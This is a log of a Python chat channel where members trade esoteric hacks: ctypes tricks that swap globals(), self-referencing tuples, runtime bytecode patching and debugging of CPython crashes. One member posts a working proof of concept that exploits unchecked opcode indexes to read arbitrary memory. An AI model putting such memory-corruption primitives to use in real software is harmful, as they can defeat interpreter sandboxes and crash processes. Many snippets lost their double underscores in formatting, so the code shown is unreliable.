I just saw an opportunity
to 2+2 = 5
!e ```py
from ctypes import*
flogbals = py_object.from_address(id(globals())+8).value
class globals(dict):
def missing(self, key):
return builtins.import('builtins').dict.get(key,key)
def setitem(self, key, value):
print (self[key] == value)
n = 5
py_object.from_address(id(globals())+8).value=globals
for globals. i in range(2,9):
print(end=f'{n} == {globals. i} = ')
n = globals. i
n = 2 + 2
print (n) # 5
py_object.from_address(id(globals())+8).value = flogbals
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
001 | 5 == 2 = False
002 | 5 == 3 = False
003 | 5 == 4 = False
004 | 5 == 5 = True
005 | 5 == 6 = False
006 | 5 == 7 = False
007 | 5 == 8 = False
008 | False
009 | 5
so instead of assigning, it prints whether it's equal!
missing is for (mutable??)mapping subclasses so they can do there own thing when a missing key is found eg raise a key error if youre a dict or set a default value according to a factory function if youre defaultdict
yeah it handles if getitem returns keyerror
ah okay
also globals uses it to reference builtins
ok
because its getitem is normal dict getitem
question: how can I use __prepare__ in a call to type()?
>>> x=type('',(),{'__prepare__':classmethod((__prepare__:=lambda:{'TEST':2}))})
>>> x.TEST
Traceback (most recent call last):
File "<pyshell#3>", line 1, in <module>
x.TEST
AttributeError: type object '' has no attribute 'TEST'
my attempt
of course I goofed with the walrus
uh
you need to use type to make the metaclass
>>> x=type('',(),{'__prepare__':classmethod(lambda:{'TEST':2})})
>>> x.TEST
Traceback (most recent call last):
File "<pyshell#7>", line 1, in <module>
x.TEST
AttributeError: type object '' has no attribute 'TEST'
then init the metaclass to make your type
ah right
I think I get what you mean
will think about it
actually nope
!e ```py
x=type('meta',(type,),{'prepare':lambda*a:print(*a)or{'lt':print}})('x',(),{'':'Hello World!'})()
x < x.
@floral meteor :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 2, in <module>
003 | TypeError: '<' not supported between instances of 'x' and 'str'
w h a t
ah
making sense
so your metaclass inherits from type
metaclass
type('meta',(type,),{'__prepare__':lambda*a:print(*a)or{'__lt__':print}})
idk what went wrong
and then you pass the name (which is bloat), an empty bases tuple and the attribute _ ('x',(),{'_':'Hello World!'})()
!e ```py
from ctypes import*
flogbals = py_object.from_address(id(globals())+8).value
n = 5
class globals(dict):
gulag={}
def missing(self, key):
return builtins.dict.get(key,key)
def setitem(self, key, _the_truth):
thought_crime = {key: _the_truth}
globals.gulag.update(thought_crime)
py_object.from_address(id(globals())+8).value=globals
print('2 + 2 = ')
n = 2 + 2
print(n)
py_object.from_address(id(globals())+8).value = flogbals
print(globals.gulag, 'Big Brother is watching you.')
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
001 | 2 + 2 =
002 | 5
003 | {'n': 4} Big Brother is watching you.

Thought criminal successfully contained
for some reason, self.whatever segfaults within an overloaded method when hacking globals
hence why i have to reference the class
although i think globals().update segfaults too
!e alright updated version. I swapped globals and annotations ```py
from ctypes import*
flogbals = py_object.from_address(id(globals())+8).value
n = 5
class annotations(dict, metaclass=lambda*a:type(*a)()):
def setitem(self, key, value):
dict.update(globals(),{key:value})
class globals(dict):
def missing(self, key):
return builtins.dict.get(key,key)
def setitem(self, key, value):
dict.update(annotations,{key:value})
py_object.from_address(id(globals())+8).value=globals
print("Exhibit A:")
print('2 + 2 = ')
n = 2 + 2
print(n)
print("\nExhibit B:")
a: 5 = 2 + 2
print(a)
print("\nExhibit C:")
n: 1 = int
print('type of',n,'is',annotations['n'])
py_object.from_address(id(globals())+8).value = flogbals
@floral meteor :white_check_mark: Your eval job has completed with return code 0.
001 | Exhibit A:
002 | 2 + 2 =
003 | 5
004 |
005 | Exhibit B:
006 | 5
007 |
008 | Exhibit C:
009 | type of 1 is <class 'int'>
!e took a bit of sweat but I got it ```py
from future import annotations
from ctypes import*
flogbals = py_object.from_address(id(globals())+8).value
name = 'Throwable'
class TypeException(TypeError):
def init(self, message):
super().init(message)
py_object.from_address(id(globals())+8).value=flogbals
class annotations(metaclass=lambda*a:type(*a)()):
queue = []
type_hints = {}
def setitem(self, cls_name, name):
if name in self.type_hints:
self.queue[:]=()
raise TypeException(f'Variable '{name}' already declared as '{self.type_hints[name]}'.')
if not self.queue:
self.type_hints[name] = globals()[cls_name]
return
cls, value = self.queue.pop(0)
self.type_hints.update({name:cls})
if cls==cls_name:raise NameError(f'Type {cls} not found')
dict.update(globals(),{name:cls(value)})
class globals(dict):
def missing(self, key):
return builtins.dict.get(key,key)
def setitem(self, key, value):
if key in annotations.type_hints:
dict.update(globals(), {key:annotations.type_hintskey})
return
annotations.queue+=[(globals()[key], value)]
py_object.from_address(id(globals())+8).value=globals
str: n
n = 6
str: m = 9
int: result = n + m
print(result, end='\n\nThis will make error: ')
str: result = 420 # eror
@floral meteor :x: Your eval job has completed with return code 1.
001 | 69
002 |
003 | This will make error: Traceback (most recent call last):
004 | File "<string>", line 44, in <module>
005 | File "<string>", line 18, in __setitem__
006 | Throwable.TypeException: Variable 'result' already declared as '<class 'int'>'.
technically, i'm still using annotations "correctly" (i.e., to store type hints)
It's a module for interacting with non-python things, like DLLs/Shared Objects, Windows API, C types, and all those things, you could call it an API to C from Python
Oh I see that sounds pretty cool
any luck?
no im making bot
ok
?
?
yeah i just dunno exactly what prepare does
ok mate
will head over to #internals-and-peps and reframe this in a readable and non esoteric way
!e
A=type('A',(type,),{'__prepare__':lambda self, *args:{'__lt__':print}})
B=A('B',(object,),{})
B()<"Does this work?"
@golden finch :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 3, in <module>
003 | TypeError: '<' not supported between instances of 'B' and 'str'
maybe it has something to do with build_class
will fiddle with things ig
alright think I found the issue
the prepare dunder isn't inheriting somehow
I don't think anyone else explained how to do this - do you have an example, and shall we take a help channel?
If you want, it's not too complex though. I assume you understand how __getitem__ / __setitem__ work, and how you could create your own dict-like class with those.
I do.
You define a __prepare__ method like so:
class MyMetaClass(type):
@classmethod
def __prepare__(mcls, name, bases, **kwargs):
return SomeMappingObject(...)
okay
Whoops :)
np
Whatever you return becomes the local namespace object while the class is running, so assignment/reading of local names gets redirected into your object.
and ```py
class SomeMappingObject:
def init(self):
self.={}
def setitem(self,name,value):
self.[name]=value
self.[value]=name
def getitem(self,name):
return self.[name]
You can do mostly whatever you want with that - before 3.6, people would pass OrderedDict if they wanted to know the order of assignments for example.
Your metaclass' __new__ gets given the namespace after the code runs, so you can then read attributes or whatever. Note though that type.__new__ (which actually creates the class) calls dict() on the namespace object, so after the class is built it's just a regular dict.
Though you could override __getattr__ / __setattr__ in that case.
oh - that's really annoying
How can I fix that?
that's my goal
Well it's sorta convenient, since it means the magic stops after it's defined.
You could override __getattr__ etc in the metaclass, which would then apply when you access attributes on the class.
!e
o=__builtins__.__build_class__
__builtins__.__build_class__=lambda f,n,*bases,**kwargs:(_:=o(f,n,*bases,**kwargs),type(n,bases,_.__dict__|{'__getattr__':lambda self,name:2}))[1]
class foo(int):
a=2
x=foo()
print(x.a)
so thus
@potent comet where did I screw up?
even this doesn't work
oh wait
__getattr__ only happens if the attr isn't already present, __getattribute__ happens on all of them.
I'd suggest unpacking the lambda into regular functions, first get it correct, then one-line it.
!e
o=__builtins__.__build_class__
def replace(f,n,*bases,**kwargs):
_=o(f,n,*bases,**kwargs)
mydict={'__getattribute__':lambda self,name:3}
return type(n,bases,_.__dict__|mydict)
__builtins__.__build_class__=replace
class meta(type):
pass
class foo(metaclass=meta):
a=2
print(foo.a)
@golden finch :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 9, in <module>
003 | File "<string>", line 5, in replace
004 | TypeError: unsupported operand type(s) for |: 'int' and 'dict'
h
so... what's going on?
Well, it looks like _.__dict__ is an int somehow??
@golden finch :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 9, in <module>
003 | File "<string>", line 5, in replace
004 | File "<string>", line 4, in <lambda>
005 | File "<string>", line 4, in <lambda>
006 | File "<string>", line 4, in <lambda>
007 | [Previous line repeated 995 more times]
008 | RecursionError: maximum recursion depth exceeded
Okay, what about a less ambitious project? Making globals immutable by setting it to a custom object?
@floral meteor you did this previously
Okay the problem here is that __getattribute__ is called for absolutely every attribute access, including the self.__dict__ you did there.
You need to do object.__getattribute__(self, '__dict__') to bypass.
!e
o=__builtins__.__build_class__
def replace(f,n,*bases,**kwargs):
_=o(f,n,*bases,**kwargs)
mydict={'__getattribute__':lambda self,name:(3,object.__getattribute__(self,'__dict__'))[name[:2]=='__']}
return type(n,bases,_.__dict__|mydict)
__builtins__.__build_class__=replace
class meta(type):
pass
class foo(metaclass=meta):
a=2
print(foo.a)
@golden finch :white_check_mark: Your eval job has completed with return code 0.
2
Why is this so confusing-
"Abandon hope all who enter"
I wish I could think like you guys, but at the same time it just breaks my brain
But I do absolutely admire you folks
That should go in the channel description
I should probably write more esoteric guides at some point.
I will as soon as I have time
by more do you mean you have already made some?
Are there any invisible characters that I can put in variable names?
ideas, anyone?
I didn't get very far, but they're at https://github.com/IFcoltransG/esoteric-python-guide/wiki
It only lists one, but the second one is mostly done as well.
I'm trying to work out a way to make // valid comment syntax and I thought about
unprintable/unprintable/validexpression
Just hack the frame code and replace all floordivs with jump ops
Then just sneakily use syntactically correct python to frame your comments
context?
something like _//?
thank you 🥺
!e
import ctypes
def mutable_bytes(instance):return memoryview((ctypes.c_uint8*len(instance)).from_address(id(instance)+bytes.__basicsize__-1)).cast('B')
try:
raise
except Exception as e:
x=e.__traceback__.tb_frame.f_code
code=mutable_bytes(x.co_code)
index=x.co_names.index('_')
i=0
while i<len(code):
instruction=code[i]
operand=code[i+1]
if instruction==101 and operand==index:
code[i]=9
while instruction!=26:
instruction=code[i]
code[i]=9
i+=2
code[i]=9
i+=2
_//something
print('foo')
@golden finch :white_check_mark: Your eval job has completed with return code 0.
foo
Oh i was thinking about print('foo') // something
So you just execute a " magic function" that edits it's calling frame to replace all instances of floordiv
Rather than ones tagged with a sentinel _
But that is good
What i did was swap annotations and globals
What i did made it seem immutable, but one could mutate it without a segfault by
dict.update(globals(), {name:value})
I tidied up the second one and got rid of the [Under Construction] sign.
Anyway...
I can change the type of most immutable stuff
what's the simplest way to make globals immutable except for a few permitted variables?
I could make it practically unusable
Probably with settrace.
thanks ill give it a read
any of you think you can make this datastructure? yall are wizards (5, (...))
tuple that contains itself?
!e
import ctypes
example_tuple = (None, None, None)
array = (
ctypes.py_object * len(example_tuple)
).from_address(
id(example_tuple) + tuple.__basicsize__
)
array[0] = ctypes.cast(id(example_tuple), ctypes.py_object)
print(example_tuple)
@woven bridge :white_check_mark: Your eval job has completed with return code 0.
((...), None, None)
i thought ctypes would do it, lmao
theres also a way to do it directly with the python api
theres some code commented out here one sec
# ctypes.pythonapi.PyTuple_SetItem(
# pointer,
# ctypes.c_ssize_t(0),
# pointer,
# )
i think this kept crashing
oh wait where is pointer
@glad basin :white_check_mark: Your eval job has completed with return code 0.
boo
pointer = ctypes.py_object(example_tuple) think this would be pointer, its not in the file any more tho
Challenge:
I want a decorator for a function that reads its code and reads all the load constants, coerces the constants to bytes, collects the bytes and makes that the byte code.
Then, provide an example function with comma or semicolon separated integers that are byte code to do something functional.
ByteCode Function Decorator
Intermediate excercise
import dis
import types
def dec(f):
code=f.__code__.co_code
consts=[]
for i in range(0,len(code),2):
if code[i]==dis.opmap['LOAD_CONST']:
consts+=[code[i+1]]
#coerce to bytes somehow
return Types.FunctionType(f.__code__.replace(co_code=consts))
however, can't really see how you can do anything without co_consts
(done from memory, probably has errors)
Index f.code.co_consts
I think
Then return an inner with the code replaced with the resultant bytes
would this work? ```py
import dis
def raw_function_decorator(f):
code=f.code.co_code
const_refs=[]
for i in range(0,len(code),2):
if code[i]==dis.opmap['LOAD_CONST']:
const_refs+=[code[i+1]]
consts = [bytes(f.code.co_consts[i])for i in const_refs]
return type(f)(f.code.replace(co_code=consts))
where is dec defined?
.
couldn't you just do type(f)?
There's another way that constructs a tuple from an iterator, and while it's being iterated uses gc to find the in progress tuple object, so that it gets constructed from itself.
Hopefully someone can find that snippet.
How can I modify the buildin tuple type?
You could try the code I replied to.
w h a t
!e ```py
import gc
class magic:
def length_hint(self):
return 1
def iter(self):
for obj in gc.get_objects():
if isinstance(obj, tuple) and len(obj) == 1:
try:1 in obj
except SystemError:
yield obj
break
T = tuple(magic())
print(T)```
@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.
((...),)
Yea it's an old one of mine
What do they do?
@snow beacon just resent my gc recursive tuple
Length hint is a way that iteratiors can let python know an approximate size
Iter makes magic iterable
Is the length hint necessary?
Yea because tuple() otherwise allocates a larger array
It also lets me compare gc tuples by length
tuple.contains raises a systemerror if the tuple contains NULL
to do that you use the signal module
!e ```py
import('signal').signal(11,lambda*a:0)
import('ctypes').string_at(0)
@floral meteor :warning: Your eval job timed out or ran out of memory.
[No output]
@floral meteor :warning: Your eval job has completed with return code 139 (SIGSEGV).
[No output]
@snow beacon also python will stop allowing tuple assignments once there is a second reference to the tuple (so after the yield of the object) and will stop unpacking, releasing a tuple with containing itself and nulls to the user
(If it doesn't error out before the return)
I see.
Do you have some minimal code for overriding the builtin tuple type?
n = PyObject_LengthHint(v, 10);
if (n == -1)
goto Fail;
result = PyTuple_New(n);
if (result == NULL)
goto Fail;
/* Fill the tuple. */
for (j = 0; ; ++j) {
PyObject *item = PyIter_Next(it);
if (item == NULL) {
if (PyErr_Occurred())
goto Fail;
break;
}
if (j >= n) {
size_t newn = (size_t)n;
/* The over-allocation strategy can grow a bit faster
than for lists because unlike lists the
over-allocation isn't permanent -- we reclaim
the excess before the end of this routine.
So, grow by ten and then add 25%.
*/
newn += 10u;
newn += newn >> 2;
if (newn > PY_SSIZE_T_MAX) {
/* Check for overflow */
PyErr_NoMemory();
Py_DECREF(item);
goto Fail;
}
n = (Py_ssize_t)newn;
if (_PyTuple_Resize(&result, n) != 0) {
Py_DECREF(item);
goto Fail;
}
}
PyTuple_SET_ITEM(result, j, item);
}
/* Cut tuple back if guess was too large. */
if (j < n &&
_PyTuple_Resize(&result, j) != 0)
goto Fail;
Py_DECREF(it);
return result;```
oop
if the c code hits any _PyTuple_Resize after the tuple contains itself, it raises a SystemError
thats not what you asked for @golden finch
do you have an example though?
what do you want an example of?
this
right but what does that mean?
so I can go like
x=()
or even
x=(1,2,3)
in place of
x=mytype()
thats hard because the compiler folds that into a load_const
you would need to do bytecode patching
Damn - even with ctypes?
any hacks written in python happen after compilation
Double damn.
Well, I'm up for some bytecode patching, I guess.
looks like a fairly easy one
this is kinda obscure and I figure you guys would know. when you call dir() without arguments it return the names in the current scope. but i couldnt find online what it does to figure that out, what object is storing that info in python?
locals(), I think
>>> def f(x):
y=2
print(locals())
print(dir())
>>> f('b')
{'x': 'b', 'y': 2}
['x', 'y']
technically it's the keys
so dir is really just lambda: [*locals()] with no arguments
oh I see, thank you that's neat
Please, correct me if there are loopholes
What if I want to change the size of co_code?
you could probably replace co_code by modelling the frame's f_code as a ctypes struct
@golden finch you can't change the size of a co_code object while it is being parsed by cpython unless you find where the reference to the bytes object is stored on the stack
If the code object is not currently being ran you can just replace the address inside the code object
target_list ::= target ("," target)* [","]
target ::= ...
| ...
| "[" [target_list] "]"
```hm```ebnf
comp_for ::= ["async"] "for" target_list "in" or_test [comp_iter]
```HMMMMMMMMMMMMM```py
>>> [[] for [] in []]
[]
```***HMMMMMMMMMMMMMMMMMMMMMMMM***
moral of story: python's grammar allows some really cursed atrocities
wait holy shit this applies to all unpacking (since target_list is used there as well), so [] = [] is valid... AND CONSEQUENTLY [[[[]]]] = ((((),),),) IS ALSO VALID AHHH
how is [[] for [] in []] cursed?
it's unintuitive, i didn't know you can unpack to zero elements-
!e py x = [0] [0 for x[0] in [1]] print(x)
@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.
[1]
@dire yew @woven bridge this is worse ^
i guess i just dont see why its so horrible
lol, x[0] is a valid target i guess since | subscription is in the ebnf
x.y is also valid
yea it is
update = lambda d, **k:[0 for K in k for d[K] in [k[K]]] dict.update using a list comp
wait i'm not understanding
how does this work in a for, but not by itself
OH NEVERMIND
oh god this is messing with my brain
!e
import dis
dis.dis('[a] = []')
@woven bridge :white_check_mark: Your eval job has completed with return code 0.
001 | 1 0 BUILD_LIST 0
002 | 2 UNPACK_SEQUENCE 1
003 | 4 STORE_NAME 0 (a)
004 | 6 LOAD_CONST 0 (None)
005 | 8 RETURN_VALUE
!e
import dis
dis.dis('''
for [a] in []:
pass
''')
@woven bridge :white_check_mark: Your eval job has completed with return code 0.
001 | 2 0 LOAD_CONST 0 (())
002 | 2 GET_ITER
003 | >> 4 FOR_ITER 6 (to 12)
004 | 6 UNPACK_SEQUENCE 1
005 | 8 STORE_NAME 0 (a)
006 |
007 | 3 10 JUMP_ABSOLUTE 4
008 | >> 12 LOAD_CONST 1 (None)
009 | 14 RETURN_VALUE
the FOR_ITER jumps before the UNPACK_SEQUENCE can happen
yep, that's what i figured out by realizing that the for loop won't even execute once from the empty list
!e print([[[],[[],]] for [[[[[]]]]] in ((((((),()),),),),)])
@dire yew :white_check_mark: Your eval job has completed with return code 0.
[[[], [[]]]]
!e print([[[],[[],]] for [[[[[]]]]] in ((((((),()),),),),)])
@dire yew :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 1, in <module>
003 | File "<string>", line 1, in <listcomp>
004 | ValueError: too many values to unpack (expected 1)
@dire yew :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 1, in <module>
003 | File "<string>", line 1, in <listcomp>
004 | ValueError: not enough values to unpack (expected 1, got 0)
(subprocess:=__import__("subprocess")) and (os:=__import__("os")) and (asyncio:=__import__("asyncio")) and subprocess.run("pip3 install try-except", shell=True) and (trycept:=__import__("trycept").try_except) and (discord:=(subprocess.run("pip3 install discord.py", shell=True) and __import__("discord")) if isinstance(trycept(lambda: __import__("discord") == True), Exception) else __import__("discord")) and (defer:=(asyncio.coroutine(lambda: int("1")))) and (bot:=(commands:=__import__("importlib").import_module(".commands", "discord.ext")).Bot(command_prefix="!", help_command=None)) and (ping:=bot.command(name="ping")(__import__("asyncio").coroutine(lambda ctx:((msg:=await ctx.send("Pong!")) and (await msg.edit(content=f"Pong! `{int(bot.latency*1000)}ms`") ) for _ in '_').__anext__()))) and (Help:=bot.command(name="help")(__import__("asyncio").coroutine(lambda ctx:(await ctx.send(embed=__import__("discord").Embed(title="Help", description="ez").add_field(name="test", value="value")) for _ in '_').__anext__()))) and (Reboot:=bot.command(name="r")(__import__("asyncio").coroutine(lambda ctx:(await ctx.send("Rebooting...") and __import__("subprocess").run("clear", shell=True) and __import__("os").execv(__import__("sys").executable, ['python'] + __import__("sys").argv) for _ in '_').__anext__()))) and (Error:=bot.listen(name="on_command_error")(__import__("asyncio").coroutine(lambda ctx, error:(await ctx.send(error) for _ in '_').__anext__()))) and (Message:=bot.listen(name="on_message")(__import__("asyncio").coroutine(lambda msg:((await defer()) if not msg.author.id == bot.user.id else None for _ in '_').__anext__()))) and bot.run(__import__("os").getenv("TOKEN"))
anyone want to help me code a 1 line discord bot
rules: you cannot use exec(), eval(), any sort of executor that allows \n
Is your aim just obfuscation or do you want it golfed too?
"have fun" and make it 1 line
pssh easy, do it without walrii
what's walrii
the walrus operator :=
!e
def length_list(x,i=0,newlist=[]):
if x==[]:
x=newlist
print(x)
return(i)
else:
newlist.append(x.pop(0))
i+=1
return(length_list(x,i,newlist))
for i in range(5):
print(length_list([1,2,3]))
@obsidian sparrow :white_check_mark: Your eval job has completed with return code 0.
001 | [1, 2, 3]
002 | 3
003 | [1, 2, 3, 1, 2, 3]
004 | 3
005 | [1, 2, 3, 1, 2, 3, 1, 2, 3]
006 | 3
007 | [1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3]
008 | 3
009 | [1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3, 1, 2, 3]
010 | 3
It's like a ghost variable, so weird
What's the explanation?
I would think if you don't explicitly define the inputs to a function it would use the defaults, but instead it's using the last known value for newlist, yet i is getting properly reset to 0
default values for functions are evaluated at function definition, so it is mutating the global scoped default values? I feel like I just wrote some shit lol
Ahhhh okay. That's odd though
It's also a pain
Any fun #esoteric-python challenges?
I want to do something with redefining methods of builtin types - maybe making True False or something?
I don't really know what's possible but I could give you ideas
Randomize all the builtin functions
>>> id
<class 'str'>
>>> str
<built-in function pow>
...```
Is it possible to add attributes/methods to builtin types?
Is there anyway to do it without an outside module?
@tribal moon with some of the code im working on rn i could make fishhook work with no imports at all
How?
i used the LOAD_CONST bug to get memory r/w without ctypes
The LOAD_CONST bytecode operator doesn't have any bounds checking
the same bug exists in LOAD_NAME but it is less trivial to exploit
a frames?
I don't need to do that
I'm editing the bytecode as it runs but I can just stick the constant somewhere it won't ever be executed
wait
I do
yeah
I have to dynamically generate a constant
why?
so basically what I'm doing is this:
#define mutable bytes, import ctypes and base64
bXl2YXI9=IGJhcigp#replace this with exec('myvar= bar()')
where do I get that string from?
!e
print(__import__('base64').b64decode('bXl2YXI9IGJhcigp'.encode()).decode())
@golden finch :white_check_mark: Your eval job has completed with return code 0.
myvar= bar()
I like how you're thinking
this program is a slow and steady collection of everything I've learnt in this channel
speaking of LOAD_* whatever type bugs i just wrote a proof of concept for load name, load_global and load_attr
jesus christ dude
injection in all of them?
wow
>>> import dis
>>> dis.dis(compile('bXl2YXI9=IGJhcigp','','exec'))
1 0 LOAD_NAME 0 (IGJhcigp)
2 STORE_NAME 1 (bXl2YXI9)
4 LOAD_CONST 0 (None)
6 RETURN_VALUE
>>> dis.dis(compile('exec("myvar= bar()")','','exec'))
1 0 LOAD_NAME 0 (exec)
2 LOAD_CONST 0 ('myvar= bar()')
4 CALL_FUNCTION 1
6 POP_TOP
8 LOAD_CONST 1 (None)
10 RETURN_VALUE
basically i can use any of those opcodes to load an arbitrary object now
!e ```py
def sizeof(obj):
return type(obj).sizeof(obj)
TUPLE_HEADER = sizeof(())
BYTES_HEADER = sizeof(b'') - 1
PTR_SIZE = sizeof((0,)) - TUPLE_HEADER
MAX_INT = (1 << PTR_SIZE * 8 - 1) - 1
ENDIAN = ['little','big'][1%memoryview(b'\1\0').cast('h')[0]]
def load_addr(addr):
capsule = []
class magic_class:
slots = ('obj',)
def repr(self):
capsule.append(self.obj)
magic = lambda:None
b_mem = b''.join(n.to_bytes(PTR_SIZE, ENDIAN) for n in (
1,
id(magic_class),
addr
))
b_addr = (id(b_mem) + BYTES_HEADER).to_bytes(PTR_SIZE, ENDIAN)
offset = id(b_addr) + BYTES_HEADER
offset -= id(magic.code.co_names) + TUPLE_HEADER
offset //= PTR_SIZE
if offset < 0:
offset += 0xffffffff + 1
co_code = bytes((0x65, offset & 0xff, 0x53, 0))
offset >>= 8
while offset > 0:
co_code = bytes((0x90, offset & 0xff)) + co_code
offset >>= 8
magic.code = magic.code.replace(
co_code=co_code
)
try:
magic()
except SystemError:
return capsule.pop()
print(load_addr(id(1)))```
@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.
1
its a lot more complicated then LOAD_CONST tho
wow
wow
basically, LOAD_NAME loads my arbitrary address as a variable name, then fails due to magic having no locals
this failure causes an exception to be raised, which calls arbitrary_addr.__repr__()
so my arbitrary addr is a custom object that contains the address im trying to load, and it adds it into capsule
magic fails, the except block is ran, and the item is popped off the capsule and returned
You learned all of this in your free time?
Python/ceval.c lines 2479 to 2487
case TARGET(LOAD_NAME): {
PyObject *name = GETITEM(names, oparg);
PyObject *locals = f->f_locals;
PyObject *v;
if (locals == NULL) {
_PyErr_Format(tstate, PyExc_SystemError,
"no locals when loading %R", name);
goto error;
}```
these lines are ran
GETITEM is what loads my magic_class fake instance
locals is null, so _PyErr_Format is called
that calls __repr__ on name due to %R
and since name is a fake object, i can use __slots__ to give it a single attribute and just tack in the address of the object i actually want to fake
this is possibly the most amazing thing I've seen in a long time
i had a hunch it would work like an hour ago and decided to try and implement
but this same general strategy should work for any opcode that does a direct load based off an oparg with no bounds checking (with some modification)
you cant inject a new tuple (without C stack mods)
but you can swap items in the tuple
what is C stack mods
I guess I could just stick a literal constant somewhere in the program
like getting the C stack address, finding the tuple address on the stack and changing that address
The C stack address?
yea
do you mean stack pointer?
yea
address and pointer are the same (but from python you cannot dereference without tricks so its more of just an address)
!e py import _testcapi print(_testcapi.stack_pointer())
@rugged sparrow :white_check_mark: Your eval job has completed with return code 0.
140722289981196
wow I did not know that was a thing
sentinel='value'
import ctypes
import base64
mutable_bytes=lambda i:memoryview((ctypes.c_uint8*len(i)).from_address(id(i)+bytes.__basicsize__-1)).cast('B')
bXl2YXI9=IGJhcigp
and this will put sentinel into the frame's co_consts
though I guess I could just reassign the sentinel
!e
import dis
dis.dis(compile('exec(sentinel)','','exec'))
@golden finch :white_check_mark: Your eval job has completed with return code 0.
001 | 1 0 LOAD_NAME 0 (exec)
002 | 2 LOAD_NAME 1 (sentinel)
003 | 4 CALL_FUNCTION 1
004 | 6 POP_TOP
005 | 8 LOAD_CONST 0 (None)
006 | 10 RETURN_VALUE
so that's 8 bytes of instructions
whereas an assign is only 4 iirc
!e
import dis
dis.dis(compile('x=y','','exec'))
@golden finch :white_check_mark: Your eval job has completed with return code 0.
001 | 1 0 LOAD_NAME 0 (y)
002 | 2 STORE_NAME 1 (x)
003 | 4 LOAD_CONST 0 (None)
004 | 6 RETURN_VALUE
that's all well and good, because I can do
!e
import dis
dis.dis(compile('x=y\ny=x','','exec'))
@golden finch :white_check_mark: Your eval job has completed with return code 0.
001 | 1 0 LOAD_NAME 0 (y)
002 | 2 STORE_NAME 1 (x)
003 |
004 | 2 4 LOAD_NAME 1 (x)
005 | 6 STORE_NAME 0 (y)
006 | 8 LOAD_CONST 0 (None)
007 | 10 RETURN_VALUE
dont forget about the operands as well
oh yeah already taken into account nvm
uh - that looks like " escaped repeatedly
because stuff is left on the stack at the end
and python's general policy is "segfault violently if anything goes wrong at the bytecode level"
I made a very stupid mistake that forced me to learn bytecode - I didn't know about dis and wrote my own CodeObject by hand
i.e types.CodeType(args)
then I learnt about dis
so to be clear, a is causing an error after you replace its code?
cause it's working here
!e
def pi(*vargs, **kwargs):
print(*vargs, sep='-')
def a():
print(2, 3, sep='hah', end='\n\n')
a.__code__ = a.__code__.replace(
co_names=('pi',),
co_consts=(1234, 2, 3, 4, 5, 6, 'hah', '\n\n', ('sep', 'end')),
co_code=b't\x00d\x01d\x02d\x03d\x04d\x05d\x06d\x07d\x08\x8d\x07\x01\x00d\x00S\x00'
)
a()
@woven bridge :white_check_mark: Your eval job has completed with return code 0.
2-3-4-5-6
yes?
works in the repl too for me
are you using a really old repl?
hmm
and whats the error?
does it even get to traceback?
ok i reproduced it
seems to only happen when the repl is being run inside IDLE
command prompt repl works fine
that is really strange
works perfectly fine in the terminal here
think i found the issue
well, to a point. try running sys.displayhook=print beforehand
that fixes it inside IDLE
win 10 x64 here
in IDLE displayhook is set to idlelib.rpc.displayhook
replace will recalculate co_stacksize automatically i think
did you try sys.displayhook=print
!e
def a():
print(1)
print(a.__code__.co_stacksize)
a.__code__ = a.__code__.replace(
co_names=('pi',),
co_consts=(1234, 2, 3, 4, 5, 6, 'hah', '\n\n', ('sep', 'end')),
co_code=b't\x00d\x01d\x02d\x03d\x04d\x05d\x06d\x07d\x08\x8d\x07\x01\x00d\x00S\x00'
)
print(a.__code__.co_stacksize)
@woven bridge :white_check_mark: Your eval job has completed with return code 0.
001 | 2
002 | 2
huh
@sick hound ran python in debug mode and got this
Assertion failed: STACK_LEVEL() <= co->co_stacksize, file C:\Users\admin\Documents\Projects\cpython\Python\ceval.c, line 1491
took a closer look
case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value); // line 1491
FAST_DISPATCH();
}
PUSH expands to
#define PUSH(v) { (void)(BASIC_PUSH(v), \
lltrace && prtrace(tstate, TOP(), "push")); \
assert(STACK_LEVEL() <= co->co_stacksize); }
theres the culprit:
assert(STACK_LEVEL() <= co->co_stacksize);
so the difference is in how the different environments are handling the assertion failure
at least thats what it seems like, not completely sure. i wouldve assumed that programs wouldnt be allowed to bypass assertion failure no matter what.
hold on actually gonna run this in release mode and see what happens
ah right ok so asserts dont do anything in release mode, makes sense
theyre just meant to be a debugging tool
so in release mode the code reaches all the way to CALL_FUNCTION_KW, line 3537 in ceval
case TARGET(CALL_FUNCTION_KW): {
PyObject **sp, *res, *names;
names = POP();
assert(PyTuple_Check(names));
assert(PyTuple_GET_SIZE(names) <= oparg);
/* We assume without checking that names contains only strings */
sp = stack_pointer;
res = call_function(tstate, &sp, oparg, names);
stack_pointer = sp;
PUSH(res); // this is line 3537
Py_DECREF(names);
if (res == NULL) {
goto error;
}
DISPATCH();
}
ultimately reaching an INCREF on line 1055 in dictobject.c
insertdict(PyDictObject *mp, PyObject *key, Py_hash_t hash, PyObject *value)
{
PyObject *old_value;
PyDictKeyEntry *ep;
Py_INCREF(key);
Py_INCREF(value); // this is line 1055
which ends up being a write access violation because value is null
now to figure out why value is null
ok, long story short, it seems because the stack is malformed, keyword arg names arent retrieved correctly, and since keyword arg values are retrieved based on the number of names, the value list ends up being nothing.
i am a god of the machine locals()['x'] = 1
still doesnt explain why the bot and my terminal repl dont crash though... anyone got any ideas?
cloned the cpython repo, then inside the PCBuild folder opened pcbuild.sln with visual studio, chose 'Debug' from the dropdown menu at the top and then shift+f9 to start debugging
not sure, there might be a prebuilt debug binary somewhere. otherwise you can do build.bat -p x64 -c Debug, build.bat being inside PCBuild folder. this'll require the visual studio build tools at the least, which is a much smaller download than the entirety of vs
@sick hound
oh yeah and a -e argument to download external dependencies @sick hound
does where python print the correct location?
huh weird
